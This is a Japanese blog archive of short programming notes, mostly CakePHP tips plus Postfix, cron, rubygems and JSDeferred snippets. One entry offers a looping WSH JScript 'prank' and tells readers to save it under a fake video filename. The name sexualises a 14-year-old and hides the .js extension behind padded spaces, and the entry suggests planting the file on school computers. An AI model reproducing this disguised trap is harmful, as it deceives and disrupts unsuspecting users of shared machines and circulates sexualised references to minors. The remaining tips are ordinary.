Home > スクリプト Archive

スクリプト Archive

[cakephp]テーブル未使用モデルで$this->Model->create()するとエラー吐くよ。

Modelで

var $useTable = false;

という設定をして、

$this->Model->create($this->data);

をすると、

Warning (512): (Model::getColumnType) Unable to locate model field data. If you are using a model without a database table, try implementing schema() [CORE/cake/libs/model/model.php, line 959]
Code | Context
 
$column	=	"how_know"
$cols	=	array()
 
$cols = $this->schema();
if (empty($cols)) {
    trigger_error(__('(Model::getColumnType) Unable to locate model field data. If you are using a model without a database table, try implementing schema()', true), E_USER_WARNING);
 
Model::getColumnType() - CORE/cake/libs/model/model.php, line 959
Model::deconstruct() - CORE/cake/libs/model/model.php, line 857
Model::set() - CORE/cake/libs/model/model.php, line 839
Model::create() - CORE/cake/libs/model/model.php, line 1014
PartnersController::regist() - APP/controllers/partners_controller.php, line 20
Dispatcher::_invoke() - CORE/cake/dispatcher.php, line 265
Dispatcher::dispatch() - CORE/cake/dispatcher.php, line 237
[main] - APP/webroot/index.php, line 84

というエラーを吐いてきたんですよ。
エラー見ると、

$this->data["Model"]["how_know"]

という要素に格納されている値に問題あるみたいですね。
ちなみに、セレクトボックスと選択したした値(配列)が格納されています。

で、色々と調べてみると、Tableを使ってはいなくても、TableのSchema情報を定義しておけ、と。
つーことでModelを再設定します。

var $useTable = false;
var $_schema = array("how_know"=>array("type"=>"string"));

これでエラーを吐かなくなりました。

[cakephp1.2]validate使用時の注意。[validate]

cakephp1.1の時のように、

$this->yourmodel->validates($this->data);

とすると、cakephp1.2では

(Model::validates) Parameter usage is deprecated, set the $data property instead
Warning (512): [CORE/cake/libs/model/model.php, line 1647]

とWarningを吐きます。1.2では下記のようにしましょう。

if ($this->YourModel->create($this->data) && $this->YourModel->validates()) {
    // validation ok
} else {
    // validation not ok
}

また、新規登録時のvalidateルールを下記の様に設定するとする。

	var $validate = array(
				"name"=>array(
					array("rule"=>VALID_NOT_EMPTY)
				),
				"kana"=>array(
					array("rule"=>VALID_NOT_EMPTY)
				)
			)

でも、データ更新時にはvaidateルールから
「kana」のvalidateルールを除きたい場合は、

unset($this->YourModel->validate['kana']);

と書くよ。

[cakephp]FormHelperから自動出力されるdiv要素を消す方法。

div要素を外したい場合には

$form->submit('登録', array('div'=>false));
$form->input("User/name", array("type"=>"text", "label"=>false, "div"=>false));

こんな感じ。

[Postfix]メール受信時にスクリプトを走らせる方法。

# vi /etc/aliases
hoge:     hogehoge "| /usr/bin/php -q /var/www/hoge.php"

# newaliases

とする。
hogeでメール受信したら、hogehogeへメール転送する設定にしないとhogeに来たメールは一生日の目を見ることはないでしょう。
まぁメールがスクリプト起動のキー以外に必要無い場合は、hogehogeの箇所は必要無し。

この手は写メール投稿でよく使うけど、注意点はメール受信からスクリプト起動すると、
postfixユーザかnobodyユーザで動くからパーミッションに注意。
起動スクリプトからincludeするライブラリなり、
写メールに付いている写真を保存するディレクトリなり。

CakePHPでCronを使う。

<?php
    $_GET['url'] = "crons/vacuum/";
    require_once( dirname( dirname(__FILE__) ) . "/index.php" );
?>

Cronで動かすスクリプトに上記の様にコードを書く。
すると、
http://hogehoge.com/crons/vacuum
と同じ動作をする。

エロガキ涙の一行スクリプト

エロ小僧(PC初心者)を懲らしめる1行プログラム
メモ帳に↓をコピペして

for(){ WScript.Echo('このウィンドウは永久に消えません。m9(^Д^)プギャー') }

ファイル名14才メグ中だし濃厚SEX.avi                         .jsで保存

これだけでOK
学校等のパソコンに置いておくと面白いかも

————————————————
注意
WSHなのでwindows環境下でないと動作しないです。
自分が涙した方はタスクマネージャから終了できます。
悪用というのも大袈裟だとは思いますが一応厳禁で。

CakePHPでファイルのダウンロードのやり方。

例えば、

$output_file = sprintf(DB_NAME."_%s.db", date("Ymd-hi"));
system("/usr/bin/pg_dump -u ".DB_NAME." < ".AUTH_USER_FILE_PATH." > ".DB_EXPORT_PATH.$output_file);
$this->autoRender = false;
Configure::write('debug', 0);
header("Content-disposition: attachment; filename=".$output_file);
header("Content-type: application/octet-stream; name=".$output_file);
$result = file_get_contents(DB_EXPORT_PATH.$output_file);
print($result);
return;

みたいな。

rubygems - mysqlアダプタがインストール出来ない

mac OSX 10.4 にgemでmysql2.7のネイティブアダプタがインストール出来ない場合。

sudo gem install mysql — –with-mysql-dir=/usr/local/mysql

Select which gem to install for your platform (i686-darwin8.11.1)
1. mysql 2.7.3 (mswin32)
2. mysql 2.7.1 (mswin32)
3. mysql 2.7 (ruby)
4. mysql 2.6 (ruby)
5. Skip this gem
6. Cancel installation
> Building native extensions. This could take a while…
ERROR: While executing gem … (Gem::Installer::ExtensionBuildError)
ERROR: Failed to build gem native extension.

ruby extconf.rb install mysql — –with-mysql-dir=/usr/local/mysql
checking for mysql_query() in -lmysqlclient… yes
checking for mysql_ssl_set()… yes
checking for mysql.h… yes
creating Makefile

make
gcc -I. -I. -I/opt/local/lib/ruby/1.8/i686-darwin8.11.1 -I. -DHAVE_MYSQL_SSL_SET -DHAVE_MYSQL_H -I/usr/local/mysql/include -I/opt/local/include -fno-common -O2 -fno-common -pipe -fno-common -c mysql.c
mysql.c: In function ‘query’:
mysql.c:635: error: invalid storage class for function ‘res_free’
mysql.c:637: error: ‘res_free’ undeclared (first use in this function)
mysql.c:637: error: (Each undeclared identifier is reported only once
mysql.c:637: error: for each function it appears in.)
mysql.c: In function ‘Init_mysql’:
mysql.c:1299: error: ‘ulong’ undeclared (first use in this function)
mysql.c:1299: error: parse error before numeric constant
mysql.c:1302: error: parse error before numeric constant
make: *** [mysql.o] Error 1

Gem files will remain installed in /opt/local/lib/ruby/gems/1.8/gems/mysql-2.7 for inspection.
Results logged to /opt/local/lib/ruby/gems/1.8/gems/mysql-2.7/gem_make.out

と、エラーを吐く。
以下、解決法↓

sudo vim /opt/local/lib/ruby/gems/1.8/gems/mysql-2.7/mysql.c.in.
ファイル先頭に
#define ulong unsigned long
と記述。

cd /opt/local/lib/ruby/gems/1.8/gems/mysql-2.7
sudo ruby extconf.rb –with-mysql-config=/usr/local/mysql/bin/mysql_config
sudo make
sudo make install

以上。メモ。

JSDeferred(非同期処理)

ライブラリ「JSDeferred
非同期処理でもエラーハンドリングしたい。
非同期処理の値の受け渡しをキレイにしたい。
ってときとか。

parallel ([
loop(100, function(i){
/* 処理1 */
return wait(0)}),
loop(10, function(i){
/* 処理2 */
return wait(0)})
]).
next(function() {
/*処理3*/
});

ってやるとマルチスレッドぽく処理できる。

CakePHP の findAll の条件に IN 演算子を使うには

CakePHP の findAll の条件に IN 演算子を使うには

$this->model->findAll(array('field IN (1,2,3)'));

または、

$params = array(1,2,3);
$this->model->findAll(array('field' => $params));

Home > スクリプト Archive

Search
Feeds
Meta

Return to page top